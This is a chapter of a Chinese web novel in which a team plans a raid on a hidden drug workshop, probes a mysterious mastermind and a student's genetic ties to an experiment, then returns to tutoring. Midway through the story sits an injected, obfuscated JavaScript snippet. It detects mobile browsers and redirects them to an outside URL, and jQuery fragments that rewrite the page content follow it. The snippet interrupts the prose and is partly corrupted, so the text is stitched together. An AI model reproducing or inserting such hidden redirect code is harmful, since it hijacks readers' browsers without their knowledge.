程宇转动电脑屏幕,调出卫星地图,三处红色标记格外醒目。
“根据药剂瓶残留的微生物、工业粘合剂残留,缩小范围至金鼎镇以北深山。”程宇放大画面,“这片隐蔽山林里,有一处废弃养殖场,地形偏僻、水源充足、远离人烟,完美符合地下作坊条件。卫星监测显示,林地中央有大面积伪装覆盖,疑似人为藏匿建筑。”
“下周,我和程宇进山踩点。”韩征远定下调子,“确认生产窝点,立刻启动收网。”
安静再度蔓延开来。
谢燃望着幕布上交错的线条,一张张陌生又熟悉的面孔被死死捆绑。平日里普通的校园日常,拆解之后,全是熔炉遗留的阴谋与枷锁。
一张横跨十五年的巨网,早已悄然铺开。
“韩队。”谢燃缓缓开口。
“说。”
“冥安主动配合的话,能争取减刑吗?”
韩征远沉默片刻,缓缓颔首:“认罪配合,如实供述,法律会酌情考量。”
谢燃轻轻点头,没再追问。
程宇随即切换页面,调出北门交易窄巷的三维建模,进出口、视野盲区、逃跑路线全部精准标注。
“昨晚连夜测绘建模,步测数据,误差不超过半米。”
“你昨晚睡了多久?”谢燃看向他浓重的黑眼圈。
“四个小时,足够。”
“猫头鹰不是夜行生物吗?”
“我是猫头鹰Alpha,不是纯野兽。”程宇无奈叹气,指尖继续飞快敲击键盘。
韩征远拿出一张空白便签,写下「收网方案」四字,贴在幕布空白处。
“下周三大核心目标:锁定药剂工厂、固定交易证据、追查织网者踪迹。三条线同步推进。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539818|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纪砚抬眸,清冷出声:“织网者线索依旧空白。”
“隐藏十五年,痕迹极少。”韩征远语气沉了几分,“ASI情报组、年绪双线深挖,目前毫无头绪。大概率会在收网行动中被迫现身,就算不露面,斩断所有爪牙,他迟早无处遁形。”
红笔落下,幕布左下角写下「织网者」,旁边画着一个硕大的问号,冰冷又压抑。
“还有一件事。”程宇收敛玩笑神色,神情严肃,“陆大寻的基因比对,最终结果出来了。”
空气骤然一紧。
“陆大寻与熔炉实验体O147,确认一级亲属关系。O147并非失踪,是当年被强制掳走的实验母体,熔炉覆灭后下落不明。”
“他认知里早逝的父亲,大概率并非亲生。如今朝夕相处的母亲,身份档案存疑,年绪正在加急核查。”
谢燃脑海里瞬间闪过陆大寻鲜活热闹的模样,爱笑、贪吃、无忧无虑,永远热烈直白。谁也想不到,这个纯粹开朗的少年,早已被卷入这场跨越十五年的阴谋之中。
“下周,身份档案结果同步更新。”
韩征远抬腕看表,时辰不早。
“今天先到此为止。程宇回去休整,纪砚、谢燃下午正常补习。我和程宇明日进山探查。”
“我也要去。”谢燃立刻开口。
“不行。”韩征远直接回绝,“你和纪砚是转校生,辨识度太高。程宇隐蔽行动更安全,不能冒险暴露。”
纪砚淡淡附和:“韩队说得没错。”
谢燃悻悻抿唇,尾巴蔫蔫垂落。
程宇收拾好背包,看向幕布上密密麻麻的线索网,眼底掠过一丝冷意。
“收网那天,我一定在。”
话音落下,他推开窗户,冷风翻涌而入。身形轻盈一跃,顺着外墙支架、遮雨棚利落落地,转眼消失在巷尾。
谢燃关好窗,拉合窗帘。
纪砚走到幕布前,执笔在「收网方案」下方落下清晰字迹,逐条罗列行动核心,一笔一划,冷静规整,最后划出一道红线,重重强调。
“你觉得,织网者是谁?”谢燃走到他身侧。
“无从推断。”纪砚轻声回应,“但他一定全程蛰伏,盯着我们所有动作。”
无形的窥视感,骤然笼罩周身。
厨房传来水流与锅具碰撞的轻响,韩征远的声音遥遥传来:“别多想,按计划行事。我煮面条,吃不吃?”
“吃。”
两道声音同时响起。
两人坐到书桌前,铺开练习册。阳光透过窗帘缝隙落进狭长的光带,落在纸页上。纪砚周身清浅的草木气息温和蔓延,清淡安稳,是独属于他的安抚。
“你信息素变淡了。”谢燃忽然开口。
“开窗吹风的缘故。”
“窗户关着。”
“错觉。”
谢燃弯了弯唇角,没有拆穿。
低头落笔,演算二次函数习题。窗外风平浪静,城市慵懒安静,一切都平和如常。
可客厅的投影幕上,那张缠绕数年的巨网静静悬挂。
线条交错,疑点重重,那个孤立的问号,藏着最深的黑暗。
收网的倒计时,早已步步逼近。
而在此之前,少年们的日常,依旧是试卷、错题、补习,和藏在平静之下,蓄势待发的对峙。